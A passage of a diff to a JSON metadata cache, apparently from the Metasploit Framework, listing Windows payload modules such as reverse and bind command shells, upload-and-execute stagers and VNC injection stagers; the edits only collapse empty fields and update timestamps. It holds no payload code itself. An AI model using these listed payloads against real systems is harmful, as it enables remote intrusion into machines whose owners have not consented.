"payload_windows/shell/reverse_udp": { "name": "Windows Command Shell, Reverse UDP Stager with UUID Support", "fullname": "payload/windows/shell/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258432,24 +259853,21 @@ "RageLtMan " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258460,9 +259878,7 @@ "payload_windows/shell_bind_tcp": { "name": "Windows Command Shell, Bind TCP Inline", "fullname": "payload/windows/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258471,24 +259887,21 @@ "sf " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258497,9 +259910,7 @@ "payload_windows/shell_bind_tcp_xpfw": { "name": "Windows Disable Windows ICF, Command Shell, Bind TCP Inline", "fullname": "payload/windows/shell_bind_tcp_xpfw", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258507,24 +259918,21 @@ "Lin0xx " ], "description": "Disable the Windows ICF, then listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb", "is_install_path": true, "ref_name": "windows/shell_bind_tcp_xpfw", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258533,9 +259941,7 @@ "payload_windows/shell_hidden_bind_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Inline", "fullname": "payload/windows/shell_hidden_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258544,7 +259950,7 @@ "sd", "Borja Merino " ], - "description": "Listen for a connection from certain IP and spawn a command shell.\n The shellcode will reply with a RST packet if the connections is not\n coming from the IP defined in AHOST. This way the port will appear\n as \"closed\" helping us to hide the shellcode.", + "description": "Listen for a connection from certain IP and spawn a command shell.\n The shellcode will reply with a RST packet if the connections is not\n coming from the IP defined in AHOST. This way the port will appear\n as \"closed\" helping us to hide the shellcode.", "references": [ "URL-http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html" ], @@ -258554,15 +259960,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/shell_hidden_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258571,9 +259976,7 @@ "payload_windows/shell_reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Inline", "fullname": "payload/windows/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258582,24 +259985,21 @@ "sf " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258608,9 +260008,7 @@ "payload_windows/speak_pwned": { "name": "Windows Speech API - Say \"You Got Pwned!\"", "fullname": "payload/windows/speak_pwned", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258618,24 +260016,21 @@ "Berend-Jan \"SkyLined\" Wever " ], "description": "Causes the target to say \"You Got Pwned\" via the Windows Speech API", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/speak_pwned.rb", "is_install_path": true, "ref_name": "windows/speak_pwned", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -258644,9 +260039,7 @@ "payload_windows/upexec/bind_hidden_ipknock_tcp": { "name": "Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/upexec/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258667,15 +260060,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258686,9 +260078,7 @@ "payload_windows/upexec/bind_hidden_tcp": { "name": "Windows Upload/Execute, Hidden Bind TCP Stager", "fullname": "payload/windows/upexec/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258709,15 +260099,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258728,9 +260117,7 @@ "payload_windows/upexec/bind_ipv6_tcp": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/upexec/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258741,24 +260128,21 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258769,9 +260153,7 @@ "payload_windows/upexec/bind_ipv6_tcp_uuid": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/upexec/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258783,24 +260165,21 @@ "OJ Reeves" ], "description": "Uploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258811,9 +260190,7 @@ "payload_windows/upexec/bind_named_pipe": { "name": "Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/upexec/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258823,24 +260200,21 @@ "UserExistsError" ], "description": "Uploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258851,9 +260225,7 @@ "payload_windows/upexec/bind_nonx_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/upexec/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258862,24 +260234,21 @@ "sf " ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258890,9 +260259,7 @@ "payload_windows/upexec/bind_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/upexec/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258903,24 +260270,21 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258931,9 +260295,7 @@ "payload_windows/upexec/bind_tcp_rc4": { "name": "Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/upexec/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258946,24 +260308,21 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258974,9 +260333,7 @@ "payload_windows/upexec/bind_tcp_uuid": { "name": "Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/upexec/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258987,24 +260344,21 @@ "OJ Reeves" ], "description": "Uploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/upexec/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259015,9 +260369,7 @@ "payload_windows/upexec/find_tag": { "name": "Windows Upload/Execute, Find Tag Ordinal Stager", "fullname": "payload/windows/upexec/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259027,24 +260379,21 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/upexec/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259055,9 +260404,7 @@ "payload_windows/upexec/reverse_ipv6_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/upexec/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259068,24 +260415,21 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259096,9 +260440,7 @@ "payload_windows/upexec/reverse_nonx_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/upexec/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259107,24 +260449,21 @@ "sf " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259135,9 +260474,7 @@ "payload_windows/upexec/reverse_ord_tcp": { "name": "Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/upexec/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259147,24 +260484,21 @@ "spoonm " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259175,9 +260509,7 @@ "payload_windows/upexec/reverse_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager", "fullname": "payload/windows/upexec/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259188,24 +260520,21 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259216,9 +260545,7 @@ "payload_windows/upexec/reverse_tcp_allports": { "name": "Windows Upload/Execute, Reverse All-Port TCP Stager", "fullname": "payload/windows/upexec/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259229,24 +260556,21 @@ "skape " ], "description": "Uploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259257,9 +260581,7 @@ "payload_windows/upexec/reverse_tcp_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (DNS)", "fullname": "payload/windows/upexec/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259271,24 +260593,21 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259299,9 +260618,7 @@ "payload_windows/upexec/reverse_tcp_rc4": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/upexec/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259314,24 +260631,21 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259342,9 +260656,7 @@ "payload_windows/upexec/reverse_tcp_rc4_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/upexec/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259357,24 +260669,21 @@ "RageLtMan" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259385,9 +260694,7 @@ "payload_windows/upexec/reverse_tcp_uuid": { "name": "Windows Upload/Execute, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/upexec/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259398,24 +260705,21 @@ "OJ Reeves" ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259426,9 +260730,7 @@ "payload_windows/upexec/reverse_udp": { "name": "Windows Upload/Execute, Reverse UDP Stager with UUID Support", "fullname": "payload/windows/upexec/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259438,24 +260740,21 @@ "RageLtMan " ], "description": "Uploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, "ref_name": "windows/upexec/reverse_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259466,9 +260765,7 @@ "payload_windows/vncinject/bind_hidden_ipknock_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/vncinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259490,15 +260787,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259509,9 +260805,7 @@ "payload_windows/vncinject/bind_hidden_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind TCP Stager", "fullname": "payload/windows/vncinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259533,15 +260827,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259552,9 +260845,7 @@ "payload_windows/vncinject/bind_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259574,15 +260865,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259593,9 +260883,7 @@ "payload_windows/vncinject/bind_ipv6_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259616,15 +260904,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259635,9 +260922,7 @@ "payload_windows/vncinject/bind_named_pipe": { "name": "VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259656,15 +260941,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259675,9 +260959,7 @@ "payload_windows/vncinject/bind_nonx_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/vncinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259696,15 +260978,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259715,9 +260996,7 @@ "payload_windows/vncinject/bind_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)", "fullname": "payload/windows/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259737,15 +261016,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259756,9 +261034,7 @@ "payload_windows/vncinject/bind_tcp_rc4": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259780,15 +261056,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259799,9 +261074,7 @@ "payload_windows/vncinject/bind_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": 